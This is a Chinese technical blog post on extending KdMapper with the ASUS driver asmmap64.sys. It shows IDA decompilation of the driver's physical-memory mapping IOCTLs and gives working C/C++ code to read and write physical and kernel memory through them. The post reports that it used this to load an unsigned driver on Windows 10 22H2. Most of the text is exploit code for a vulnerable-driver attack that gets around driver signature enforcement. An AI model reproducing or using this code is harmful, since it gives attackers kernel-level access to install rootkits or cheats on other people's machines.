KdMapper扩展实现之ASUS(asmmap64.sys)

发布时间 2023-09-04 21:13:26作者: 禁锢在时空之中的灵魂

1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

 

2.驱动信息

 

驱动名称 asmmap64.sys 
时间戳 4A4C7A36
MD5 4C016FD76ED5C05E84CA8CAB77993961

 

3.IDA分析

3.1 入口函数:

NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{
        int v3; // ebx
        _QWORD* v4; // rcx
        _QWORD* v5; // rcx
        struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-28h] BYREF
        struct _UNICODE_STRING SymbolicLinkName; // [rsp+50h] [rbp-18h] BYREF
        PDEVICE_OBJECT DeviceObject; // [rsp+70h] [rbp+8h] BYREF

        DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_110E4;
        DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_110E4;
        DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_110E4;
        DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_11300;
        RtlInitUnicodeString(&DestinationString, L"\\Device\\ASMMAP64");
        v3 = IoCreateDevice(DriverObject, 0x10u, &DestinationString, 0x9C40u, 0, 0, &DeviceObject);
        if (v3 >= 0)
        {
                v4 = DeviceObject->DeviceExtension;
                *v4 = 0i64;
                v4[1] = 0i64;
                RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\ASMMAP64");
                v3 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
                if (v3 >= 0)
                {
                        v5 = DeviceObject->DeviceExtension;
                        v5[1] = DeviceObject;
                        *(_DWORD*)v5 = 40000;
                }
                else
                {
                        IoDeleteDevice(DeviceObject);
                }
        }
        return v3;
}

 

3.2 IRP_MJ_DEVICE_CONTROL

IRP_MJ_DEVICE_CONTROL对应的函数 sub_110E4,其代码如下:

__int64 __fastcall sub_110E4(_DEVICE_OBJECT* pDeviceObject, IRP* pIrp)
{
        _IO_STACK_LOCATION* pIosp; // r8

        ASMMAP64_PHYSICAL_MEMORY_INFO* pPhysicalMomoryInfo; // rcx
        void* pMappedAddress; // rbx
        ......
        if (pIosp->MajorFunction == 0xE)            // IRP_MJ_DEVICE_IO_CONTROL
        {
                nIOControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
                switch (nIOControlCode)
                {
                    case 0x9C402580:
                        ntStatusReturn = sub_11344((__int64)pDeviceExtension, pIrp, (__int64)pIosp);
                        break;
                    case 0x9C402584:
                        nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
                        pPhysicalMomoryInfo = (ASMMAP64_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;
                        pIrp->IoStatus.Information = 0i64;
                        if (nInputBufferLength != 24)
                        {
                                DbgPrint("(UMMAPMEM) Insufficient input or output buffer\n");
                                ntStatus = 0xC000009A;
                                goto LABEL_26;
                        }
                        pMappedAddress = (void*)pPhysicalMomoryInfo->MappedBaseAddress;
                        DbgPrint(
                                "(UMMAPMEM) Unmap Addr %I64x [%x,%x]\n",
                                pMappedAddress,
                                HIDWORD(pPhysicalMomoryInfo->MappedBaseAddress),
                                (unsigned int)pMappedAddress);
                        ntStatusReturn = ZwUnmapViewOfSection((HANDLE)0xFFFFFFFFFFFFFFFFi64, pMappedAddress);
                        break;
                
                    ......
                }
            ......
        }
        ......
}

  其中映射物理内存 ControlCode 为 0x9C402580,相应的函数为 sub_11344, 取消映射为 0x9C402584 。

 

3.3 映射物理内存

sub_11344 如下:

__int64 __fastcall sub_11344(__int64 pDeviceExtension, IRP* pIrp, _IO_STACK_LOCATION* pIosp)
{
        ULONG nInputBufferLength; // eax
        ULONG nOutputBufferLength; // ecx
        ASMMAP64_PHYSICAL_MEMORY_INFO* pPhysicalMomoryInfo; // rdi
        LONG highPhysicalAddress; // eax
        __int64 nMappedLength; // rbx
        BOOLEAN v9; // bl
        BOOLEAN v10; // al
        NTSTATUS v11; // eax
        __int64 v12; // r8
        __int64 v13; // rdx
        LARGE_INTEGER TranslatedAddress; // [rsp+50h] [rbp-98h] BYREF
        PHYSICAL_ADDRESS BusAddress; // [rsp+58h] [rbp-90h] BYREF
        LARGE_INTEGER BusAddress2; // [rsp+60h] [rbp-88h] BYREF
        void* SectionHandle; // [rsp+68h] [rbp-80h] BYREF
        PVOID BaseAddress; // [rsp+70h] [rbp-78h] BYREF
        union _LARGE_INTEGER SectionOffset; // [rsp+78h] [rbp-70h] BYREF
        PVOID Object; // [rsp+80h] [rbp-68h] BYREF
        struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+88h] [rbp-60h] BYREF
        _UNICODE_STRING v23[3]; // [rsp+B8h] [rbp-30h] BYREF
        ULONG AddressSpace; // [rsp+F8h] [rbp+10h] BYREF
        ULONG AddressSpace2; // [rsp+100h] [rbp+18h] BYREF

        nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;//  pIosp->DeviceIoControl.InputBufferLength
        nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;// pIosp->DeviceIoControl.OutputBufferLength
        pPhysicalMomoryInfo = (ASMMAP64_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;// pIrp->AssociatedIrp.SystemBuffer
        SectionHandle = 0i64;
        Object = 0i64;
        pIrp->IoStatus.Information = 0i64;            // pIrp->NtStatus.Information = 0;
        if (nInputBufferLength >= 0x18 && nOutputBufferLength >= 0x18)
        {
                BusAddress.LowPart = pPhysicalMomoryInfo->PhysicalAddress;
                highPhysicalAddress = HIDWORD(pPhysicalMomoryInfo->PhysicalAddress);
                AddressSpace2 = 0;
                AddressSpace = 0;
                nMappedLength = (unsigned int)pPhysicalMomoryInfo->MappedLengthIn;
                BusAddress.HighPart = highPhysicalAddress;
                RtlInitUnicodeString(v23, L"\\Device\\PhysicalMemory");
                ObjectAttributes.ObjectName = v23;
                ObjectAttributes.Length = 48;
                ObjectAttributes.RootDirectory = 0i64;
                ObjectAttributes.Attributes = 64;
                ObjectAttributes.SecurityDescriptor = 0i64;
                ObjectAttributes.SecurityQualityOfService = 0i64;
                ZwOpenSection(&SectionHandle, 0xF001Fu, &ObjectAttributes);
                if (ObReferenceObjectByHandle(SectionHandle, 0xF001Fu, 0i64, 0, &Object, 0i64) >= 0)
                {
                        BusAddress2.QuadPart = BusAddress.QuadPart + nMappedLength;
                        v9 = HalTranslateBusAddress(Isa, 0, BusAddress, &AddressSpace, &TranslatedAddress);
                        v10 = HalTranslateBusAddress(Isa, 0, BusAddress2, &AddressSpace2, &BusAddress2);
                        if (!v9 || !v10)
                        {
                                DbgPrint("(MAPMEM) HalTranslatephysicalAddress failed\n");
                                goto LABEL_16;
                        }
                        DbgPrint(
                                "(MAPMEM) physicalAddressbase=%8.8x %8.8x\n",
                                (unsigned int)TranslatedAddress.HighPart,
                                TranslatedAddress.LowPart);
                        DbgPrint("(MAPMEM) physicalAddressend=%8.8x %8.8x\n", (unsigned int)BusAddress2.HighPart, BusAddress2.LowPart);
                        if (BusAddress2.LowPart != TranslatedAddress.LowPart)
                        {
                                if (AddressSpace)
                                {
                                        DbgPrint("inIoSpace = 1\n");
                                        pPhysicalMomoryInfo->MappedBaseAddress = TranslatedAddress.QuadPart;
                                }
                                else
                                {
                                        BusAddress.QuadPart = BusAddress2.LowPart - TranslatedAddress.LowPart;
                                        SectionOffset = TranslatedAddress;
                                        BaseAddress = 0i64;
                                        DbgPrint("viewBase:%x %x\n", (unsigned int)TranslatedAddress.HighPart, TranslatedAddress.LowPart);
                                        v11 = ZwMapViewOfSection(
                                                SectionHandle,
                                                (HANDLE)0xFFFFFFFFFFFFFFFFi64,
                                                &BaseAddress,
                                                0i64,
                                                BusAddress.QuadPart,
                                                &SectionOffset,
                                                (PSIZE_T)&BusAddress.QuadPart,
                                                ViewShare,
                                                0,
                                                0x204u);
                                        if (v11 < 0)
                                        {
                                                DbgPrint("(MAPMEM) ZwMapViewOfSection failed:%x\n", (unsigned int)v11);
                                                goto LABEL_16;
                                        }
                                        DbgPrint("(MAPMEM) physicalMemoryHandle=%x\n", SectionHandle);
                                        BaseAddress = (char*)BaseAddress + TranslatedAddress.QuadPart - SectionOffset.QuadPart;
                                        LODWORD(pPhysicalMomoryInfo->MappedBaseAddress) = (_DWORD)BaseAddress;
                                        v12 = LODWORD(pPhysicalMomoryInfo->MappedBaseAddress);
                                        v13 = HIDWORD(BaseAddress);
                                        HIDWORD(pPhysicalMomoryInfo->MappedBaseAddress) = HIDWORD(BaseAddress);
                                        DbgPrint("(MAPMEM) virtualAddress=%x %x\n", v13, v12);
                                }
                                DbgPrint("(MAPMEM) memory successfully mapped\n");
                                pIrp->IoStatus.Information = 24i64;
                                goto LABEL_16;
                        }
                        DbgPrint("(MAPMEM) mappedLength.LowPart == 0\n");
                }
                else
                {
                        DbgPrint("(MAPMEM) ObReferenceObjectByHandle failed\n");
                }
        LABEL_16:
                ZwClose(SectionHandle);
                return 0i64;
        }
        DbgPrint("(MAPMEM) Buffer size error\n");
        return 3221225626i64;
}

  其使用的是ZwMapViewOfSection将物理内存映射到进程空间。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》

 

3.4 ASMMAP64_PHYSICAL_MEMORY_INFO结构

00000000 ASMMAP64_PHYSICAL_MEMORY_INFO struc ; (sizeof=0x18, mappedto_381)
00000000 PhysicalAddress dq ?
00000008 MappedBaseAddress dq ?
00000010 MappedLengthIn  dd ?
00000014 MappedLengthOut dd ?
00000018 ASMMAP64_PHYSICAL_MEMORY_INFO ends

 

4. 代码实现

4.1 .h文件

#pragma pack(push)
#pragma pack(1)
        typedef struct /*DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT)*/_ASMMAP64_PHYSICAL_MEMORY_INFO {
                PHYSICAL_ADDRESS PhysicalAddress;
               	PVOID MappedBaseAddress;
                ULONG MappedLengthIn;
                ULONG MappedLengthOut;
        } ASMMAP64_PHYSICAL_MEMORY_INFO, * PASMMAP64_PHYSICAL_MEMORY_INFO;
#pragma pack(pop)

#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset)  ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset))  ))
#endif

#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer)  ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base))  ))
#endif

#define ASMMAP64_DEVICE_TYPE          (DWORD)0x9C40
#define ASMMAP64_MAP_SECTION_FUNCID   (DWORD)0x960
#define ASMMAP64_UNMAP_SECTION_FUNCID (DWORD)0x961

#define IOCTL_ASMMAP64_MAP_USER_PHYSICAL_MEMORY      \
    CTL_CODE(ASMMAP64_DEVICE_TYPE, ASMMAP64_MAP_SECTION_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402580

#define IOCTL_ASMMAP64_UNMAP_USER_PHYSICAL_MEMORY    \
    CTL_CODE(ASMMAP64_DEVICE_TYPE, ASMMAP64_UNMAP_SECTION_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402584

 

4.2 .c文件

NTSTATUS asus_driver::SuperCallDriverEx(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength,
        _Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
                NULL,
                NULL,
                NULL,
                &ioStatus,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength);

        if (ntStatus == STATUS_PENDING) {

                ntStatus = NtWaitForSingleObject(DeviceHandle,
                        FALSE,
                        NULL);
        }

        if (IoStatus)
                *IoStatus = ioStatus;

        return ntStatus;
}

BOOL asus_driver::SuperCallDriver(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength)
{
        BOOL bResult;
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = SuperCallDriverEx(
                DeviceHandle,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength,
                &ioStatus);

        bResult = NT_SUCCESS(ntStatus);
        SetLastError(RtlNtStatusToDosError(ntStatus));
        return bResult;
}

PVOID asus_driver::SuperMapMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ ULONG NumberOfBytes
)
{
        ULONG_PTR offset;
        ULONG mapSize;
        ASMMAP64_PHYSICAL_MEMORY_INFO request;

        RtlSecureZeroMemory(&request, sizeof(request));

        offset = PhysicalAddress & ~(PAGE_SIZE - 1);
        mapSize = (ULONG)(PhysicalAddress - offset) + NumberOfBytes;

        request.PhysicalAddress.QuadPart = PhysicalAddress;
        request.MappedLengthOut = mapSize;
        request.MappedLengthIn = mapSize;
        request.MappedBaseAddress = NULL;

        if (SuperCallDriver(DeviceHandle,
                IOCTL_ASMMAP64_MAP_USER_PHYSICAL_MEMORY,
                &request,
                sizeof(request),
                &request,
                sizeof(request)))
        {
                /*Log(L"[!] SuperMapMemory, Address:0x" << std::setbase(16) << request.MappedBaseAddress << std::endl);*/
                return request.MappedBaseAddress;
        }

        return NULL;
}

VOID asus_driver::SuperUnmapMemory(
        _In_ HANDLE DeviceHandle,
        _In_ PVOID SectionToUnmap
)
{
        ASMMAP64_PHYSICAL_MEMORY_INFO request;

        RtlSecureZeroMemory(&request, sizeof(request));

        request.MappedBaseAddress = SectionToUnmap;
        SuperCallDriver(DeviceHandle,
                IOCTL_ASMMAP64_UNMAP_USER_PHYSICAL_MEMORY,
                &request,
                sizeof(request),
                &request,
                sizeof(request));
}

BOOL WINAPI asus_driver::SuperReadWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes,
        _In_ BOOLEAN DoWrite)
{
        BOOL bResult = FALSE;
        DWORD dwError = ERROR_SUCCESS;
        PVOID mappedSection = NULL;
        ULONG_PTR offset;

        //
        // Map physical memory section.
        //
        mappedSection = SuperMapMemory(DeviceHandle,
                PhysicalAddress,
                NumberOfBytes);

        if (mappedSection) {

                offset = PhysicalAddress - (PhysicalAddress & ~(PAGE_SIZE - 1));

                __try {

                        if (DoWrite) {
                                RtlCopyMemory(mappedSection/*RtlOffsetToPointer(mappedSection, offset)*/, Buffer, NumberOfBytes);
                        }
                        else {
                                RtlCopyMemory(Buffer, mappedSection /*RtlOffsetToPointer(mappedSection, offset)*/, NumberOfBytes);
                        }

                        bResult = TRUE;
                }
                __except (EXCEPTION_EXECUTE_HANDLER) {
                        bResult = FALSE;
                        dwError = GetExceptionCode();
                        Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
                }

                //
                // Unmap physical memory section.
                //
                SuperUnmapMemory(DeviceHandle,
                        mappedSection);

        }
        else {
                dwError = GetLastError();
        }

        SetLastError(dwError);
        return bResult;
}

BOOL WINAPI asus_driver::SuperReadPhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                FALSE);
}

BOOL WINAPI asus_driver::SuperWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                TRUE);
}

BOOL WINAPI asus_driver::SuperWriteKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        TRUE);

        }

        return bResult;
}

BOOL WINAPI asus_driver::SuperReadKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        FALSE);

        }

        return bResult;
}

  其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。

 

5. 运行效果

  Windows 10 22H2环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》